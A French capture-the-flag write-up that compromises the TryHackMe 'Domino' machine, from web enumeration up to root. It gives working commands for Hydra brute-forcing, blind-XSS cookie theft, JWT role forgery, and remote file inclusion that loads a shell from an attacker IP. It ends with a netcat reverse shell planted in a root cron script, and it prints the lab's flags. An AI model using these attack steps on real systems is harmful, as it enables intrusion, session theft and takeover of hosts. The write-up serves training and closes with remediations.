Post

Write-up - Domino

Write-up - Domino

Write-up - Domino

La cible est la machine CTF Domino (domino.thm), présentant un portail fictif NexusCorp. L’objectif était de partir d’une énumération réseau simple, de compromettre l’application web, puis d’obtenir un accès système jusqu’à root.

Synthèse

La compromission repose sur une chaîne de failles classiques mais cohérentes :

  1. énumération HTTP et fuite de noms d’utilisateurs depuis la page équipe
  2. IDOR sur une API de profils permettant de lire le profil administrateur
  3. attaque XSS aveugle sur les tickets de support pour récupérer une session administrateur
  4. abus d’une vérification JWT défaillante et d’une API de lecture de fichiers pour déclencher une inclusion distante
  5. récupération d’un accès www-data, lecture de secrets applicatifs, puis réutilisation du mot de passe pour passer devops
  6. élévation de privilèges via une tâche cron root exécutant un script modifiable par l’utilisateur devops

Préparation de la cible

L’adresse IP de la machine TryHackMe a été associée au nom domino.thm dans /etc/hosts afin de travailler avec le nom de domaine attendu par l’application.

1
2
TARGET=domino.thm
echo "10.128.133.255    domino.thm" | sudo tee -a /etc/hosts

Configuration du nom d'hôte

Reconnaissance

Le scan TCP complet ne montre que deux services exposés : SSH sur le port 22 et HTTP sur le port 80.

1
nmap -p- -Pn -oA "$TARGET_full_ports" --min-rate 1000 "$TARGET"

Résultat du scan Nmap

La surface principale est donc l’application web. La page publique /team.php expose les membres de NexusCorp, leurs rôles et leurs adresses internes. Ces informations permettent de construire une liste d’utilisateurs au format prenom.nom.

Page publique de l'équipe

Le formulaire de réinitialisation de mot de passe valide aussi ce format de nommage, ce qui confirme que les identifiants candidats sont réalistes.

Validation du format des noms d'utilisateurs

Un brute-force limité sur le formulaire de connexion met ensuite en évidence des mots de passe faibles pour plusieurs comptes. Cette étape permet d’accéder à un compte utilisateur standard, par exemple sarah.johnson.

1
2
3
4
hydra -L users.txt \
  -P /opt/lists/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000.txt \
  domino.thm http-post-form '/index.php:username=^USER^&password=^PASS^:Invalid credentials.' \
  -I

Résultat Hydra

Le tableau de bord utilisateur indique ensuite l’existence d’une API de fichiers protégée par un jeton Bearer.

Tableau de bord utilisateur

En parallèle, une énumération de contenu web révèle plusieurs chemins intéressants : /admin/, /api/, /backup/README.txt, /backup/config.enc et /static/app.js.

1
feroxbuster -w /opt/lists/seclists/Discovery/Web-Content/common.txt -u "http://$TARGET/"

Énumération Feroxbuster

IDOR sur l’API des profils

L’endpoint /api/users/profile.php accepte un paramètre id. En modifiant cet identifiant, il est possible de lire le profil d’autres utilisateurs sans contrôle d’autorisation suffisant. L’identifiant 1 renvoie le profil de laura.hayes, administratrice, avec le premier flag.

1
2
GET /api/users/profile.php?id=1 HTTP/1.1
Host: domino.thm

IDOR sur le profil administrateur

Flag obtenu :

1
THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}

Fuite de configuration et clé de backup

Le fichier /backup/README.txt indique que config.enc contient une configuration chiffrée en AES-128-ECB et que la clé de déchiffrement est référencée dans static/app.js.

README du répertoire backup

Le JavaScript frontal contient effectivement une clé de backup N3xusK3y2024!!. Cette fuite n’est pas suffisante seule pour obtenir un accès système, mais elle confirme une mauvaise gestion des secrets côté client.

Clé exposée dans app.js

La clé visible dans app.js fait 14 octets, deux octets nuls sont ajoutés pour obtenir une clé AES-128 complète de 16 octets.

1
printf 'N3xusK3y2024!!\0\0' | xxd -p -c 256
1
4e337875734b33793230323421210000

Avec cette clé hexadécimale, le fichier chiffré se déchiffre et révèle notamment l’utilisateur système attendu :

1
2
3
openssl enc -d -aes-128-ecb \
  -K 4e337875734b33793230323421210000 \
  -in config.enc
1
{"app_name":"NexusCorp Portal","version":"2.3.1","deploy_env":"production","system_user":"devops"}

XSS aveugle et vol de session administrateur

Après connexion avec un compte utilisateur standard, la page de support permet de soumettre un ticket. Le champ de ticket est interprété lors de la revue par un bot administrateur, ce qui permet de déclencher une XSS aveugle.

Ticket de support revue par un admin

Un listener est lancé côté attaquant :

1
nc -lvnp 8080

Le ticket contient un chargement de ressource externe vers ma machine. Dans mon essai, le point important n’est pas une lecture directe de document.cookie, mais le comportement du bot de revue : il effectue la requête HTTP vers le listener et y joint sa session dans l’en-tête Cookie.

Payload XSS dans un ticket de support

Lorsque le bot administrateur consulte le ticket, une requête arrive donc sur le listener avec le cookie nexus_session. Ce comportement indique que le bot transmet sa session administrateur lors du traitement du ticket.

Réception du cookie administrateur

Le cookie est ensuite réinjecté dans le navigateur avec Cookie-Editor.

Réutilisation du cookie administrateur

L’accès à /admin/ confirme la session laura.hayes et donne le deuxième flag.

Console administrateur et flag XSS

Flag obtenu :

1
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

Abus du JWT et de l’API de fichiers

La console administrateur mentionne une API de lecture de fichiers :

1
2
GET /api/files.php?name=[path]
Authorization: Bearer <token>

Un jeton est récupéré via /api/auth/token.php.

Demande d'un jeton Bearer

Le JWT est en HS256. Son contenu montre un sujet laura.hayes mais un rôle initial user. Le contrôle côté serveur est défaillant : après décodage, le champ role peut être modifié en admin et un jeton régénéré est accepté par l’API. Le problème principal est donc que l’application fait confiance à un rôle fourni par le client sans validation robuste de la signature ni recoupement côté serveur.

Décodage du JWT

JWT modifié avec le rôle admin

Le jeton modifié est ensuite utilisé contre /api/files.php. Le paramètre name accepte une URL distante, ce qui permet de forcer le serveur à charger un fichier PHP hébergé côté attaquant.

1
2
3
4
5
6
7
python3 -m http.server 8080
rlwrap nc -lvnp 8000

curl -i -H "Authorization: Bearer $TOKEN" \
  --get \
  --data-urlencode "name=http://192.168.153.192:8080/shell.php" \
  "http://$TARGET/api/files.php"

Le serveur cible récupère shell.php, l’exécute, puis ouvre un reverse shell en tant que www-data.

RFI et shell www-data

Flag obtenu :

1
THM{rf1_2_rc3_f00th0ld_fl4g3}

Mouvement latéral vers devops

Depuis le shell www-data, le fichier /var/www/html/config.php est lisible. Il contient plusieurs secrets applicatifs, dont le mot de passe de base de données D3v0ps!2024, le secret JWT et le secret applicatif.

1
cat /var/www/html/config.php

Secrets applicatifs dans config.php

Le backup déchiffré indiquait que l’utilisateur système intéressant était devops, et son existence peut aussi être confirmée localement via /etc/passwd. Le mot de passe de base de données est réutilisé pour cet utilisateur, ce qui permet de passer de www-data à devops et de lire user.txt.

1
2
3
grep '^devops:' /etc/passwd
su devops
cat user.txt

Réutilisation du mot de passe et flag utilisateur

Flag obtenu :

1
THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}

Élévation de privilèges vers root

Une surveillance des processus montre qu’une tâche cron exécutée par root lance régulièrement /opt/monitoring/health_report.sh.

Le fichier appartient à root, mais ses permissions permettent à l’utilisateur devops de le modifier.

1
ls -lh /opt/monitoring/health_report.sh
1
-rwxrwxr-- 1 root devops ... /opt/monitoring/health_report.sh

Cron root exécutant health_report.sh

Le script est donc modifié pour ouvrir un shell vers la machine attaquante lors de la prochaine exécution cron.

1
nc 192.168.153.192 8000 -e sh

Modification du script de monitoring

Après déclenchement par la cron, le listener reçoit un shell root, ce qui permet de lire root.txt.

Shell root et flag final

Flag obtenu :

1
THM{pr1v3sc_cr0n_r00t_fl4g5}

Tableau récapitulatif des flags

ÉtapeVulnérabilité principaleFlag
Profil administrateurIDOR sur /api/users/profile.php?id=1THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}
Console adminXSS aveugle et vol de sessionTHM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}
FootholdRFI via /api/files.phpTHM{rf1_2_rc3_f00th0ld_fl4g3}
UtilisateurRéutilisation du secret D3v0ps!2024THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}
RootCron root exécutant un script modifiable par devopsTHM{pr1v3sc_cr0n_r00t_fl4g5}

Causes racines et remédiations

  • Mettre en place des contrôles d’autorisation côté serveur sur tous les objets utilisateurs, notamment sur /api/users/profile.php.
  • Échapper strictement les entrées affichées dans les tickets de support et ajouter une politique CSP adaptée.
  • Protéger les cookies de session avec HttpOnly, Secure et SameSite, et ne jamais les transmettre à des services externes depuis un bot administrateur.
  • Ne pas exposer de secrets dans le JavaScript client et supprimer les backups accessibles publiquement.
  • Remplacer AES-ECB par un mode authentifié, par exemple AES-GCM, lorsque du chiffrement applicatif est réellement nécessaire.
  • Vérifier cryptographiquement les JWT côté serveur, refuser alg: none, signer avec un secret robuste stocké hors du code et ne jamais faire confiance au rôle fourni par le client sans recoupement serveur.
  • Restreindre l’API de fichiers à une allowlist locale et interdire les URL distantes pour éviter les inclusions de fichiers.
  • Séparer les secrets de base de données, d’application et de comptes système afin d’empêcher la réutilisation de mot de passe.
  • Corriger les permissions de /opt/monitoring/health_report.sh pour empêcher l’écriture par devops, ou exécuter la tâche cron avec un compte dédié non privilégié.

Conclusion

Domino illustre bien l’effet cumulatif de failles moyennes : aucune étape n’est très complexe isolément, mais les informations fuitées à chaque phase alimentent la suivante. La progression est représentative d’un chemin de pentest web vers système : énumération, contrôle d’accès cassé, XSS, abus d’API, fuite de secrets, mouvement latéral, puis mauvaise configuration cron pour obtenir root.

This post is licensed under CC BY 4.0 by the author.